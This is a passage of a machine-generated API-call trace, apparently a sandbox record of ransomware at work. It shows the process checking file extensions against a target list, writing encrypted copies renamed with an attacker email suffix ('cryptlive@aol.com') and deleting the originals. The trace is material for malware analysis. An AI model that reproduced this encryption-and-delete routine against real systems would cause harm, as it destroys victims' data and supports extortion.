lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0161.455] lstrlenW (lpString=".pdf") returned 4 [0161.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.455] lstrlenW (lpString=".xls") returned 4 [0161.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.455] lstrlenW (lpString=".xlsx") returned 5 [0161.455] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0161.455] lstrlenW (lpString=".ppt") returned 4 [0161.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.455] lstrlenW (lpString=".zip") returned 4 [0161.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.455] lstrlenW (lpString=".rar") returned 4 [0161.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.456] lstrlenW (lpString=".bz2") returned 4 [0161.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.456] lstrlenW (lpString=".7z") returned 3 [0161.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.456] lstrlenW (lpString=".dbf") returned 4 [0161.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.456] lstrlenW (lpString=".1cd") returned 4 [0161.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.456] lstrlenW (lpString=".jpg") returned 4 [0161.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.456] lstrlenW (lpString=".doc") returned 4 [0161.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.456] lstrlenW (lpString=".docx") returned 5 [0161.456] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0161.456] lstrlenW (lpString=".pdf") returned 4 [0161.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.456] lstrlenW (lpString=".xls") returned 4 [0161.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.456] lstrlenW (lpString=".xlsx") returned 5 [0161.456] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0161.456] lstrlenW (lpString=".ppt") returned 4 [0161.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.456] lstrlenW (lpString=".zip") returned 4 [0161.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.457] lstrlenW (lpString=".rar") returned 4 [0161.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.457] lstrlenW (lpString=".bz2") returned 4 [0161.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.457] lstrlenW (lpString=".7z") returned 3 [0161.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.457] lstrlenW (lpString=".dbf") returned 4 [0161.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.457] lstrlenW (lpString=".1cd") returned 4 [0161.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0161.457] lstrlenW (lpString=".jpg") returned 4 [0161.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.457] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.457] lstrlenW (lpString="J0156537.WMF") returned 12 [0161.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0161.471] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1376) returned 1 [0161.471] CloseHandle (hObject=0x3c4) returned 1 [0161.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf")) returned 0x20 [0161.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0161.525] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.526] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0161.527] GetLastError () returned 0x0 [0161.527] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x560, lpOverlapped=0x0) returned 1 [0161.573] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x570, lpOverlapped=0x0) returned 1 [0161.574] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.574] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.574] SetEndOfFile (hFile=0x1f8) returned 1 [0161.574] CloseHandle (hObject=0x1f8) returned 1 [0161.574] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.574] SetEndOfFile (hFile=0x1b0) returned 1 [0161.576] CloseHandle (hObject=0x1b0) returned 1 [0161.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf")) returned 1 [0161.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.579] lstrlenW (lpString=".doc") returned 4 [0161.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString=".docx") returned 5 [0161.580] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.580] lstrlenW (lpString=".pdf") returned 4 [0161.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString=".xls") returned 4 [0161.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.580] lstrlenW (lpString=".xlsx") returned 5 [0161.580] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.580] lstrlenW (lpString=".ppt") returned 4 [0161.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.580] lstrlenW (lpString=".zip") returned 4 [0161.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.580] lstrlenW (lpString=".rar") returned 4 [0161.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString=".bz2") returned 4 [0161.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString=".7z") returned 3 [0161.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.580] lstrlenW (lpString=".dbf") returned 4 [0161.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.580] lstrlenW (lpString=".1cd") returned 4 [0161.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.580] lstrlenW (lpString=".jpg") returned 4 [0161.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.581] lstrlenW (lpString=".doc") returned 4 [0161.581] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.581] lstrlenW (lpString=".docx") returned 5 [0161.581] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0161.581] lstrlenW (lpString=".pdf") returned 4 [0161.581] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.581] lstrlenW (lpString=".xls") returned 4 [0161.581] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.581] lstrlenW (lpString=".xlsx") returned 5 [0161.581] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0161.581] lstrlenW (lpString=".ppt") returned 4 [0161.581] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.581] lstrlenW (lpString=".zip") returned 4 [0161.581] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.581] lstrlenW (lpString=".rar") returned 4 [0161.581] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.581] lstrlenW (lpString=".bz2") returned 4 [0161.581] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.581] lstrlenW (lpString=".7z") returned 3 [0161.581] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.581] lstrlenW (lpString=".dbf") returned 4 [0161.581] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.581] lstrlenW (lpString=".1cd") returned 4 [0161.581] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.581] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0161.581] lstrlenW (lpString=".jpg") returned 4 [0161.581] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.582] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.582] lstrlenW (lpString="J0157831.WMF") returned 12 [0161.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0161.583] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11396) returned 1 [0161.583] CloseHandle (hObject=0x1b0) returned 1 [0161.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf")) returned 0x20 [0161.583] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0161.583] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.583] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0161.584] GetLastError () returned 0x0 [0161.584] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2c84, lpOverlapped=0x0) returned 1 [0161.603] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2c90, lpOverlapped=0x0) returned 1 [0161.604] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.604] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.604] SetEndOfFile (hFile=0x1f8) returned 1 [0161.604] CloseHandle (hObject=0x1f8) returned 1 [0161.604] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.604] SetEndOfFile (hFile=0x1b0) returned 1 [0161.607] CloseHandle (hObject=0x1b0) returned 1 [0161.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157831.wmf")) returned 1 [0161.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.608] lstrlenW (lpString=".doc") returned 4 [0161.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.608] lstrlenW (lpString=".docx") returned 5 [0161.608] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0161.608] lstrlenW (lpString=".pdf") returned 4 [0161.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.608] lstrlenW (lpString=".xls") returned 4 [0161.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.608] lstrlenW (lpString=".xlsx") returned 5 [0161.608] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0161.608] lstrlenW (lpString=".ppt") returned 4 [0161.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.608] lstrlenW (lpString=".zip") returned 4 [0161.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.609] lstrlenW (lpString=".rar") returned 4 [0161.609] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".bz2") returned 4 [0161.609] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".7z") returned 3 [0161.609] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.609] lstrlenW (lpString=".dbf") returned 4 [0161.609] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.609] lstrlenW (lpString=".1cd") returned 4 [0161.609] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.609] lstrlenW (lpString=".jpg") returned 4 [0161.609] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.609] lstrlenW (lpString=".doc") returned 4 [0161.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".docx") returned 5 [0161.609] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0161.609] lstrlenW (lpString=".pdf") returned 4 [0161.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString=".xls") returned 4 [0161.609] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.609] lstrlenW (lpString=".xlsx") returned 5 [0161.609] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0161.609] lstrlenW (lpString=".ppt") returned 4 [0161.609] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.609] lstrlenW (lpString=".zip") returned 4 [0161.609] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.610] lstrlenW (lpString=".rar") returned 4 [0161.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString=".bz2") returned 4 [0161.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString=".7z") returned 3 [0161.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.610] lstrlenW (lpString=".dbf") returned 4 [0161.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.610] lstrlenW (lpString=".1cd") returned 4 [0161.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157831.WMF") returned 63 [0161.610] lstrlenW (lpString=".jpg") returned 4 [0161.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.610] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.610] lstrlenW (lpString="J0158477.WMF") returned 12 [0161.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0161.692] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=17966) returned 1 [0161.692] CloseHandle (hObject=0x1b0) returned 1 [0161.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf")) returned 0x20 [0161.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0161.692] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.692] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0161.695] GetLastError () returned 0x0 [0161.695] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x462e, lpOverlapped=0x0) returned 1 [0161.939] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4630, lpOverlapped=0x0) returned 1 [0161.940] ReadFile (in: hFile=0x1b0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.940] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.940] SetEndOfFile (hFile=0x1f8) returned 1 [0161.940] CloseHandle (hObject=0x1f8) returned 1 [0161.940] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.940] SetEndOfFile (hFile=0x1b0) returned 1 [0161.943] CloseHandle (hObject=0x1b0) returned 1 [0161.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0162.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf")) returned 1 [0162.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.020] lstrlenW (lpString=".doc") returned 4 [0162.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.020] lstrlenW (lpString=".docx") returned 5 [0162.020] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0162.020] lstrlenW (lpString=".pdf") returned 4 [0162.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.020] lstrlenW (lpString=".xls") returned 4 [0162.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.020] lstrlenW (lpString=".xlsx") returned 5 [0162.020] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0162.020] lstrlenW (lpString=".ppt") returned 4 [0162.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0162.020] lstrlenW (lpString=".zip") returned 4 [0162.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.021] lstrlenW (lpString=".rar") returned 4 